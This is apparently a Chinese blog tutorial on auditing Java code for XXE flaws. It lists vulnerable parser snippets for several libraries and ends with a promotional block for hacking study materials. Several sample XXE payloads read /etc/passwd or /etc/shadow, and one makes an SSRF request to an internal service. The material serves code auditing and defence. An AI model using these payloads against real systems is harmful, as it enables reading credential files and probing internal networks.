🧨 Java XXE 漏洞审计大全
一看就懂、二看就能用、三看就能把审计搞定!
🧠 一、什么是 XXE?
XXE(XML External Entity)漏洞是利用 XML 的“外部实体”功能,让服务器读取本地文件或访问远程地址(如 SSRF)。常见后果:
-
读取文件(
/etc/passwd
等) -
内网打点(SSRF)
-
内存攻击(DoS)
-
数据外带(OOB 数据 exfiltration)
🕵️♀️ 二、审计思路总览
重点审计点 | 说明 |
---|---|
是否解析 XML? | 关键类如:DocumentBuilder, SAXParser, SAXReader, SAXBuilder 等 |
是否接收用户输入? | XML 来源是否用户可控?如从 HTTP 请求中接收 |
是否禁用了 DTD 和实体? | 未配置 setFeature(…, false) 就危险 |
是否使用了第三方 XML 解析框架? | 如 XStream, JAXB, Digester |
🧪 三、漏洞分类+示例详解
① DocumentBuilderFactory(最常见)
📍 审计关注点:是否使用 DocumentBuilderFactory.newInstance()
并缺少安全配置。
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document doc = builder.parse(new InputSource(new StringReader(xml)));
🛠 漏洞利用:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxeSYSTEM"file:///etc/passwd"> ]> <root>&xxe;</root>
🔍 **问题分析:**默认情况下没有禁用外部实体(例如 setFeature("...external-general-entities", false)
),会导致解析器去访问本地文件。
② SAXParserFactory
📍 审计关注点:工厂是否创建了 SAXParser
,是否缺少 feature 设置。
SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); parser.parse(new InputSource(new StringReader(xml)), new DefaultHandler());
🛠 利用方式:与上面相同,可注入恶意实体。
🔍 问题分析:SAX 解析器默认也支持 DTD 和实体,攻击者可植入恶意内容。
③ SAXReader(dom4j)
📍 审计关注点:是否直接使用 SAXReader.read()
,XML 是否用户可控。
SAXReader reader = new SAXReader(); Document doc = reader.read(new StringReader(xml));
🛠 利用 XML:
<?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxeSYSTEM"file:///etc/shadow">]> <foo>&xxe;</foo>
🔍 问题分析:SAXReader
默认没有禁用外部实体功能,是 XXE 高危区。
④ SAXBuilder(JDOM)
📍 审计关注:是否使用 SAXBuilder.build()
方法,尤其是参数是用户输入。
SAXBuilder builder = new SAXBuilder(); Document doc = builder.build(new StringReader(xml));
🛠 利用 XML:同样可读文件。
🔍 问题分析:JDOM 1.x 默认启用实体支持,攻击者可用 XXE 注入。
⑤ XMLReader
📍 审计关注点:XMLReaderFactory.createXMLReader()
创建的对象是否设置安全特性?
XMLReader reader = XMLReaderFactory.createXMLReader(); reader.parse(new InputSource(new StringReader(xml)));
🛠 利用 XML:一模一样的恶意 DTD。
🔍 问题分析:XMLReader
属于 SAX 机制,同样默认支持实体,需手动禁用。
⑥ Digester(Apache Commons)
📍 审计关注点:调用 digester.parse()
时的 XML 来源是否可控?
Digester digester = new Digester(); Object result = digester.parse(new StringReader(xml));
🛠 利用方式:和上面一样注入恶意实体。
🔍 问题分析:Digester 使用 SAX 解析器作为底层,继承其危险特性。
⑦ XMLInputFactory(StAX 解析器)
📍 审计关注:是否设置了 IS_SUPPORTING_EXTERNAL_ENTITIES
、SUPPORT_DTD
XMLInputFactory factory = XMLInputFactory.newInstance(); XMLStreamReader xsr = factory.createXMLStreamReader(new StringReader(xml));
🛠 漏洞利用(SSRF):
<?xml version="1.0"?> <!DOCTYPE data [<!ENTITY xxeSYSTEM"http://internal-service.local:8080/api">]> <data>&xxe;</data>
🔍 **问题分析:**默认情况下 IS_SUPPORTING_EXTERNAL_ENTITIES = true
。
⑧ XStream
📍 审计关注点:是否使用 fromXML()
并允许用户提交的 XML。
XStream xstream = new XStream(); xstream.fromXML(xml);
🛠 漏洞利用:
<!DOCTYPE foo [<!ENTITY xxeSYSTEM"file:///etc/hosts">]> <foo>&xxe;</foo>
🔍 问题分析:XStream 本身功能强大,低版本支持实体 + 任意类反序列化,属于超级高危点。
⑨ JAXB(Java 原生 XML 映射)
📍 审计关注:是否直接使用 unmarshaller.unmarshal()
,是否传入外部 XML。
JAXBContext ctx = JAXBContext.newInstance(Foo.class); Unmarshaller unmarshaller = ctx.createUnmarshaller(); unmarshaller.unmarshal(new StringReader(xml));
🛠 利用方式:仍可注入 DTD。
🔍 问题分析:JAXB 内部使用 DocumentBuilderFactory
,如果未配置安全特性就有风险。
📌 四、XXE 审计关键词清单
关键词 | 用途 |
---|---|
DocumentBuilderFactory | DOM 解析器(最常见) |
newDocumentBuilder() | 创建解析器 |
parse( | 是否使用了解析方法 |
SAXParserFactory / newSAXParser() | SAX 类型解析器 |
SAXReader | dom4j 解析器 |
SAXBuilder | JDOM 框架 |
XMLInputFactory | StAX 解析器 |
Digester | Apache Commons |
XStream / fromXML | 第三方框架,高危点 |
Unmarshaller / JAXBContext | JAXB 框架 |
setFeature | 关键审计点,看是否禁用了 DTD 和实体 |
SUPPORT_DTD / IS_SUPPORTING_EXTERNAL_ENTITIES | 特别针对 StAX |
✅ 五、总结
🧭 看代码时,重点关注3个问题:
-
有没有 XML 解析?(关键词+代码)
-
用户能不能控制 XML 内容?
-
有没有禁用外部实体和 DTD?
-
上面主要类型,在代码中未发现
setFeature``setProperty
的相关配置大概率就有问题
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取